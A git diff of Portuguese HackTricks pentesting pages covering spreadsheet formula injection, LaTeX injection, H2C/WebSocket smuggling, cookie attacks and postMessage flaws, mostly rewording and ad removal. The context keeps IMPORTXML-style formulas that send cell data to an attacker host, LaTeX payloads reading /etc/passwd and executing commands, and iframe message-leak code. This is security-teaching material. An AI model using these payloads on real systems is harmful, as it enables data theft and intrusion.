* **CONCATENATE**: Anexa strings juntas - `=CONCATENATE(A2:E2)`
* **CONCATENATE**: Anexa strings - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Importa dados de tipos de dados estruturados - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Importa feeds RSS ou ATOM - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Importa dados de tabelas ou listas HTML - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
@ -105,7 +97,7 @@ Normalmente, os servidores que você encontrará na internet que **convertem có
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
* **`--no-shell-escape`**: **Desabilita** o construto `\write18{command}`, mesmo que esteja habilitado no arquivo texmf.cnf.
* **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos** \*\*predefinidos (\*\*No Ubuntu 16.04, a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-restricted`**: Mesmo que `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos** \*\*predefinidos (\*\*No Ubuntu 16.04, a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Habilita** o construto `\write18{command}`. O comando pode ser qualquer comando de shell. Este construto normalmente é desabilitado por razões de segurança.
No entanto, existem outras maneiras de executar comandos, então, para evitar RCE, é muito importante usar `--shell-restricted`.
@ -128,7 +120,7 @@ Você pode precisar ajustar a injeção com wrappers como \[ ou $.
\text{\line}
\closein\file
```
#### Ler arquivo com várias linhas
#### Ler arquivo de várias linhas
```bash
\newread\file
\openin\file=/etc/passwd
@ -145,7 +137,7 @@ Você pode precisar ajustar a injeção com wrappers como \[ ou $.
\write\outfile{Hello-world}
\closeout\outfile
```
### Execução de comando <a href="#command-execution" id="command-execution"></a>
### Execução de comandos <a href="#command-execution" id="command-execution"></a>
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-la.
```bash
@ -198,11 +190,6 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
@ -58,13 +50,13 @@ Por outro lado, esses serviços não encaminham inherentemente ambos os cabeçal
#### Exploração <a href="#exploitation" id="exploitation"></a>
É crucial notar que nem todos os servidores encaminham inherentemente os cabeçalhos necessários para uma atualização de conexão H2C compatível. Assim, servidores como AWS ALB/CLB, NGINX e Apache Traffic Server, entre outros, bloqueiam naturalmente conexões H2C. No entanto, vale a pena testar com a variante não compatível `Connection: Upgrade`, que exclui o valor `HTTP2-Settings` do cabeçalho `Connection`, pois alguns backends podem não estar em conformidade com os padrões.
É crucial notar que nem todos os servidores encaminham inherentemente os cabeçalhos necessários para uma atualização de conexão H2C compatível. Assim, servidores como AWS ALB/CLB, NGINX e Apache Traffic Server, entre outros, bloqueiam naturalmente conexões H2C. No entanto, vale a pena testar com a variante não compatível `Connection: Upgrade`, que exclui o valor `HTTP2-Settings` do cabeçalho `Connection`, já que alguns backends podem não estar em conformidade com os padrões.
{% hint style="danger" %}
Independentemente do **caminho** específico designado na URL `proxy_pass` (por exemplo, `http://backend:9999/socket.io`), a conexão estabelecida padrão é `http://backend:9999`. Isso permite a interação com qualquer caminho dentro desse endpoint interno, aproveitando essa técnica. Consequentemente, a especificação de um caminho na URL `proxy_pass` não restringe o acesso.
{% endhint %}
As ferramentas [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitam tentativas de **contornar as proteções impostas pelo proxy** estabelecendo uma conexão H2C, permitindo assim o acesso a recursos protegidos pelo proxy.
As ferramentas [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitam tentativas de **contornar as proteções impostas pelo proxy** ao estabelecer uma conexão H2C, permitindo assim o acesso a recursos protegidos pelo proxy.
Para mais informações sobre essa vulnerabilidade, particularmente em relação ao NGINX, consulte [**este recurso detalhado**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
@ -76,7 +68,7 @@ Websocket smuggling, ao contrário da criação de um túnel HTTP2 para um endpo
Neste cenário, um backend que oferece uma API WebSocket pública juntamente com uma API REST interna inacessível é alvo de um cliente malicioso que busca acesso à API REST interna. O ataque se desenrola em várias etapas:
1. O cliente inicia enviando uma solicitação Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, acredita que a solicitação Upgrade é válida e a encaminha para o backend.
1. O cliente inicia enviando uma solicitação Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, não validando o cabeçalho `Sec-WebSocket-Version`, acredita que a solicitação Upgrade é válida e a encaminha para o backend.
2. O backend responde com um código de status `426`, indicando a versão de protocolo incorreta no cabeçalho `Sec-WebSocket-Version`. O proxy reverso, ignorando o status de resposta do backend, assume que está pronto para comunicação WebSocket e retransmite a resposta ao cliente.
3. Consequentemente, o proxy reverso é induzido a acreditar que uma conexão WebSocket foi estabelecida entre o cliente e o backend, enquanto na realidade, o backend havia rejeitado a solicitação Upgrade. Apesar disso, o proxy mantém uma conexão TCP ou TLS aberta entre o cliente e o backend, permitindo que o cliente acesse sem restrições a API REST privada através dessa conexão.
@ -89,7 +81,7 @@ Os proxies reversos afetados incluem Varnish, que se recusou a abordar o problem
Este cenário envolve um backend com uma API WebSocket pública e uma API REST pública para verificação de saúde, juntamente com uma API REST interna inacessível. O ataque, mais complexo, envolve as seguintes etapas:
1. O cliente envia uma solicitação POST para acionar a API de verificação de saúde, incluindo um cabeçalho HTTP adicional `Upgrade: websocket`. O NGINX, atuando como o proxy reverso, interpreta isso como uma solicitação de Upgrade padrão com base apenas no cabeçalho `Upgrade`, negligenciando outros aspectos da solicitação, e a encaminha para o backend.
2. O backend executa a API de verificação de saúde, contatando um recurso externo controlado pelo atacante que retorna uma resposta HTTP com código de status `101`. Essa resposta, uma vez recebida pelo backend e encaminhada para o NGINX, engana o proxy fazendo-o pensar que uma conexão WebSocket foi estabelecida devido à sua validação apenas do código de status.
2. O backend executa a API de verificação de saúde, contatando um recurso externo controlado pelo atacante que retorna uma resposta HTTP com código de status `101`. Essa resposta, uma vez recebida pelo backend e encaminhada para o NGINX, engana o proxy, fazendo-o pensar que uma conexão WebSocket foi estabelecida devido à sua validação apenas do código de status.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
@ -99,7 +91,7 @@ No final, o NGINX é enganado a acreditar que uma conexão WebSocket existe entr
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
A maioria dos proxies reversos é vulnerável a este cenário, mas a exploração depende da presença de uma vulnerabilidade SSRF externa, geralmente considerada um problema de baixa severidade.
A maioria dos proxies reversos é vulnerável a esse cenário, mas a exploração depende da presença de uma vulnerabilidade SSRF externa, geralmente considerada um problema de baixa severidade.
#### Labs
@ -112,12 +104,6 @@ Verifique os labs para testar ambos os cenários em [https://github.com/0ang3el/
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -127,7 +113,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -10,22 +10,15 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Atributos de Cookies
Cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Aqui está um resumo desses atributos em uma voz mais passiva:
Os cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Aqui está um resumo desses atributos em uma voz mais passiva:
### Expires e Max-Age
@ -68,7 +61,7 @@ Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garanti
Tabela de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e ligeiramente modificada.\
Um cookie com o atributo _**SameSite**_ **mitigará ataques CSRF** onde uma sessão logada é necessária.
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo SameSite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Observe que temporariamente, após aplicar essa mudança, os **cookies sem uma política SameSite** **no Chrome serão** **tratados como None** durante os **primeiros 2 minutos e depois como Lax para solicitações POST de nível superior entre sites.**
## Flags de Cookies
@ -79,7 +72,7 @@ Isso evita que o **cliente** acesse o cookie (via **Javascript**, por exemplo: `
#### **Bypasses**
* Se a página **enviar os cookies como resposta** a uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação a essa página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Se a página **estiver enviando os cookies como resposta** a uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação a essa página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Isso pode ser contornado com solicitações **TRACE** **HTTP**, pois a resposta do servidor (se esse método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, alguns contornos para isso foram encontrados em softwares específicos, como enviar `\r\nTRACE` em vez de `TRACE` para IE6.0 SP2.
* Outra maneira é a exploração de vulnerabilidades zero-day dos navegadores.
@ -89,7 +82,7 @@ Isso evita que o **cliente** acesse o cookie (via **Javascript**, por exemplo: `
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
* É possível usar o ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar esses cookies
* É possível usar o ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar esses cookies.
### Secure
@ -106,11 +99,11 @@ Para cookies prefixados com `__Host-`, várias condições devem ser atendidas:
* Eles são proibidos de especificar um domínio, impedindo sua transmissão para subdomínios.
* O caminho para esses cookies deve ser definido como `/`.
É importante notar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicação. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicação pode ser considerado uma boa prática para aumentar a segurança e a isolação.
É importante notar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicação. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicação pode ser considerado uma boa prática para aumentar a segurança e o isolamento.
### Sobrescrevendo cookies
Assim, uma das proteções dos cookies prefixados com `__Host-` é impedir que eles sejam sobrescritos a partir de subdomínios. Prevenindo, por exemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que foi possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o parser, por exemplo, adicionando "=" no início ou no final...:
Assim, uma das proteções dos cookies prefixados com `__Host-` é impedir que eles sejam sobrescritos a partir de subdomínios. Prevenindo, por exemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que foi possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o parser, por exemplo, adicionando "=" no início ou no final...:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
@ -128,11 +121,11 @@ Dados sensíveis incorporados em cookies devem sempre ser examinados. Cookies co
### Sequestro de Sessão
Esse ataque envolve roubar o cookie de um usuário para obter acesso não autorizado à sua conta dentro de uma aplicação. Usando o cookie roubado, um atacante pode se passar pelo usuário legítimo.
Esse ataque envolve roubar o cookie de um usuário para obter acesso não autorizado à sua conta dentro de um aplicativo. Usando o cookie roubado, um atacante pode se passar pelo usuário legítimo.
### Fixação de Sessão
Nesse cenário, um atacante engana uma vítima para usar um cookie específico para fazer login. Se a aplicação não atribuir um novo cookie ao fazer login, o atacante, possuindo o cookie original, pode se passar pela vítima. Essa técnica depende da vítima fazer login com um cookie fornecido pelo atacante.
Nesse cenário, um atacante engana uma vítima para usar um cookie específico para fazer login. Se o aplicativo não atribuir um novo cookie ao fazer login, o atacante, possuindo o cookie original, pode se passar pela vítima. Essa técnica depende da vítima fazer login com um cookie fornecido pelo atacante.
Se você encontrou um **XSS em um subdomínio** ou **controla um subdomínio**, leia:
@ -154,7 +147,7 @@ Se você encontrou um **XSS em um subdomínio** ou **controla um subdomínio**,
Clique no link anterior para acessar uma página explicando possíveis falhas em JWT.
Tokens Web JSON (JWT) usados em cookies também podem apresentar vulnerabilidades. Para informações detalhadas sobre falhas potenciais e como explorá-las, recomenda-se acessar o documento vinculado sobre hacking JWT.
Tokens Web JSON (JWT) usados em cookies também podem apresentar vulnerabilidades. Para informações detalhadas sobre possíveis falhas e como explorá-las, recomenda-se acessar o documento vinculado sobre hacking JWT.
### Cross-Site Request Forgery (CSRF)
@ -162,7 +155,7 @@ Esse ataque força um usuário logado a executar ações indesejadas em uma apli
### Cookies Vazios
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Navegadores permitem a criação de cookies sem um nome, o que pode ser demonstrado através do JavaScript da seguinte forma:
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Os navegadores permitem a criação de cookies sem um nome, o que pode ser demonstrado através do JavaScript da seguinte forma:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
@ -194,13 +187,13 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Vulnerabilidades de Injeção de Cookies
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) A análise incorreta de cookies pelos servidores, notavelmente Undertow, Zope e aqueles que usam `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` do Python, cria oportunidades para ataques de injeção de cookies. Esses servidores falham em delimitar corretamente o início de novos cookies, permitindo que atacantes falsifiquem cookies:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) A análise incorreta de cookies pelos servidores, notavelmente Undertow, Zope e aqueles que usam `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` do Python, cria oportunidades para ataques de injeção de cookies. Esses servidores falham em delimitar corretamente o início de novos cookies, permitindo que atacantes falsifiquem cookies:
* Undertow espera um novo cookie imediatamente após um valor entre aspas sem um ponto e vírgula.
* Zope procura uma vírgula para começar a analisar o próximo cookie.
* As classes de cookies do Python começam a analisar em um caractere de espaço.
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a contornos de autorização quando cookies são passados para servidores de back-end suscetíveis a falsificação.
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que atacantes injetem cookies de CSRF-token falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a contornos de autorização quando cookies são passados para servidores back-end suscetíveis a falsificação.
### Verificações de Cookies Extra Vulneráveis
@ -219,7 +212,7 @@ Essa vulnerabilidade é particularmente perigosa em aplicações web que depende
Se o cookie permanecer o mesmo (ou quase) quando você faz login, isso provavelmente significa que o cookie está relacionado a algum campo da sua conta (provavelmente o nome de usuário). Então você pode:
* Tentar criar muitas **contas** com nomes de usuário muito **semelhantes** e tentar **adivinhar** como o algoritmo está funcionando.
* Tentar **forçar o nome de usuário**. Se o cookie for salvo apenas como um método de autenticação para seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **forçar** cada único **bit** do seu cookie porque um dos cookies que você tentará será o que pertence a "**admin**".
* Tentar **forçar o nome de usuário**. Se o cookie é salvo apenas como um método de autenticação para seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **forçar** cada único **bit** do seu cookie porque um dos cookies que você tentará será o que pertence a "**admin**".
* Tentar **Padding** **Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
**Padding Oracle - Exemplos de Padbuster**
@ -270,11 +263,6 @@ Deve haver um padrão (com o tamanho de um bloco usado). Assim, sabendo como um
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -3,8 +3,8 @@
## PostMessage Vulnerabilities
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -12,24 +12,11 @@ Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O objetivo principal do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Enviar **PostMessage**
@ -61,12 +48,12 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Note que **targetOrigin** pode ser um '\*' ou uma URL como _https://company.com._\
No **segundo cenário**, a **mensagem só pode ser enviada para aquele domínio** (mesmo que a origem do objeto window seja diferente).\
Se o **caractere curinga** for usado, **as mensagens podem ser enviadas para qualquer domínio**, e serão enviadas para a origem do objeto Window.
Se o **curinga** for usado, **as mensagens podem ser enviadas para qualquer domínio**, e serão enviadas para a origem do objeto Window.
### Atacando iframe & caractere curinga em **targetOrigin**
### Atacando iframe & curinga em **targetOrigin**
Como explicado em [**este relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você encontrar uma página que pode ser **iframed** (sem proteção `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **caractere curinga** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
Note que se a página pode ser iframed, mas o **targetOrigin** está **definido para uma URL e não para um caractere curinga**, esse **truque não funcionará**.
Como explicado em [**este relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você encontrar uma página que pode ser **iframed** (sem proteção `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **curinga** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
Note que se a página pode ser iframed, mas o **targetOrigin** está **definido para uma URL e não para um curinga**, esse **truque não funcionará**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -93,7 +80,7 @@ return;
// ...
}, false);
```
Note que neste caso a **primeira coisa** que o código está fazendo é **verificando a origem**. Isso é terrivelmente **importante**, principalmente se a página for fazer **qualquer coisa sensível** com as informações recebidas (como mudar uma senha). **Se não verificar a origem, atacantes podem fazer com que as vítimas enviem dados arbitrários para esses endpoints** e mudem as senhas das vítimas (neste exemplo).
Note que neste caso, a **primeira coisa** que o código faz é **verificar a origem**. Isso é terrivelmente **importante**, principalmente se a página for fazer **algo sensível** com as informações recebidas (como mudar uma senha). **Se não verificar a origem, atacantes podem fazer com que as vítimas enviem dados arbitrários para esses endpoints** e mudem as senhas das vítimas (neste exemplo).
### Enumeração
@ -150,7 +137,7 @@ Ao incorporar uma página da web dentro de um **iframe sandboxed** usando %%%%%%
Ao especificar **`allow-popups`** no atributo sandbox, qualquer janela pop-up aberta de dentro do iframe herda as restrições de sandbox de seu pai. Isso significa que, a menos que o atributo **`allow-popups-to-escape-sandbox`** também seja incluído, a origem da janela pop-up é igualmente definida como `null`, alinhando-se com a origem do iframe.
Consequentemente, quando uma pop-up é aberta nessas condições e uma mensagem é enviada do iframe para a pop-up usando **`postMessage`**, ambas as extremidades de envio e recebimento têm suas origens definidas como `null`. Essa situação leva a um cenário onde **`e.origin == window.origin`** avalia como verdadeiro (`null == null`), porque tanto o iframe quanto a pop-up compartilham o mesmo valor de origem `null`.
Consequentemente, quando uma pop-up é aberta sob essas condições e uma mensagem é enviada do iframe para a pop-up usando **`postMessage`**, ambas as extremidades de envio e recebimento têm suas origens definidas como `null`. Essa situação leva a um cenário onde **`e.origin == window.origin`** avalia como verdadeiro (`null == null`), porque tanto o iframe quanto a pop-up compartilham o mesmo valor de origem `null`.
Para mais informações **leia**:
@ -167,7 +154,7 @@ if( received_message.source !== window ) {
return;
}
```
Você pode forçar **`e.source`** de uma mensagem a ser nula criando um **iframe** que **envia** o **postMessage** e é **imediatamente deletado**.
Você pode forçar **`e.source`** de uma mensagem a ser nulo criando um **iframe** que **envia** o **postMessage** e é **imediatamente deletado**.
Para mais informações **leia:**
@ -187,7 +174,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### Roubo de mensagem enviada para o filho bloqueando a página principal
Na página a seguir, você pode ver como poderia roubar um **dado sensível de postmessage** enviado para um **iframe filho** ao **bloquear** a **página principal** antes de enviar os dados e abusar de um **XSS no filho** para **vazar os dados** antes que sejam recebidos:
Na página a seguir, você pode ver como poderia roubar um **dado sensível de postmessage** enviado para um **iframe filho** ao **bloquear** a página **principal** antes de enviar os dados e abusar de um **XSS no filho** para **vazar os dados** antes que sejam recebidos:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
@ -235,17 +222,6 @@ Para **mais informações**:
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* Para praticar: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
